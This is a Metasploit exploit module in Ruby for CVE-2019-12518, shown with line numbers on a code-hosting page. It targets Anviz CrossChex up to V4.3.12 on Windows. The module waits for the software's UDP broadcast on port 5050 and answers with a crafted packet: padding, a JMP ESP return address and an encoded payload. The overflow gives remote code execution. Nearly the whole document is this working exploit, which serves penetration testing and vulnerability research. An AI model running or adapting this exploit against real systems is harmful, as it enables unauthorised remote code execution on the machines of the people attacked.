Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = NormalRanking
8
  PACKET_LEN = 10
9

10
  include Msf::Exploit::Remote::Udp
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Anviz CrossChex Buffer Overflow',
17
        'Description' => %q{
18
          Waits for broadcasts from Ainz CrossChex looking for new devices, and returns a custom broadcast,
19
          triggering a stack buffer overflow.
20
        },
21
        'Author' =>
22
          [
23
            'Luis Catarino <[email protected]>', # original discovery/exploit
24
            'Pedro Rodrigues <[email protected]>', # original discovery/exploit
25
            'agalway-r7', # Module creation
26
            'adfoster-r7' # Module creation
27
          ],
28
        'License' => MSF_LICENSE,
29
        'References' =>
30
          [
31
            ['CVE', '2019-12518'],
32
            ['URL', 'https://www.0x90.zone/multiple/reverse/2019/11/28/Anviz-pwn.html'],
33
            ['EDB', '47734']
34
          ],
35
        'Payload' =>
36
          {
37
            'Space' => 8947,
38
            'DisableNops' => true
39
          },
40
        'Arch' => ARCH_X86,
41
        'EncoderType' => Msf::Encoder::Type::Raw,
42
        'Privileged' => true,
43
        'Platform' => 'win',
44
        'DisclosureDate' => '2019-11-28',
45
        'Targets' =>
46
            [
47
              [
48
                'Crosschex Standard x86 <= V4.3.12',
49
                {
50
                  'Offset' => 261, # Overwrites stack memory to allow saved EIP to be overwritten
51
                  'Ret' => "\x07\x18\x42\x00", # Overwrites saved EIP with address of 'JMP ESP' assembly instruction found in CrossChex code
52
                  'Shift' => 4 # Positions payload to be written at beginning of ESP
53
                }
54
              ]
55
            ],
56
        'DefaultTarget' => 0
57
      )
58
    )
59
    deregister_udp_options
60
    register_options(
61
      [
62
        Opt::CPORT(5050, true, 'Port used to listen for CrossChex Broadcast.'),
63
        Opt::CHOST('0.0.0.0', true, 'IP address that UDP Socket listens for CrossChex broadcast on. \'0.0.0.0\' is needed to receive broadcasts.'),
64
        OptInt.new('TIMEOUT', [true, 'Time in seconds to wait for a CrossChex broadcast. 0 or less waits indefinitely.', 100])
65
      ]
66
    )
67
  end
68

69
  def exploit
70
    connect_udp
71

72
    res, host, port = udp_sock.recvfrom(PACKET_LEN, datastore['TIMEOUT'].to_i > 0 ? datastore['TIMEOUT'].to_i : nil)
73
    if res.empty?
74
      fail_with(Failure::TimeoutExpired, 'Module timed out waiting for CrossChex broadcast')
75
    end
76

77
    print_status 'CrossChex broadcast received, sending payload in response'
78
    sploit = rand_text_english(target['Offset'])
79
    sploit << target.ret # Overwrites saved EIP with address of 'JMP ESP' assembly instruction found in CrossChex code
80
    sploit << rand_text_english(target['Shift']) # Positions payload to be written at beginning of ESP
81
    sploit << payload.encoded
82

83
    udp_sock.sendto(sploit, host, port)
84
    print_status 'Payload sent'
85
  end
86
end
87

88